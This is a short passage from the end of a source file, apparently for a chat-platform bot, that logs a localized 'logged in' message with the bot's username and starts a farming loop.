logger.info(t("agent.messages.loggedIn", { username: client.user.username })); 386 | 387 | agent.farmLoop(); 388 | } 389 | } 390 | --------------------------------------------------------------------------------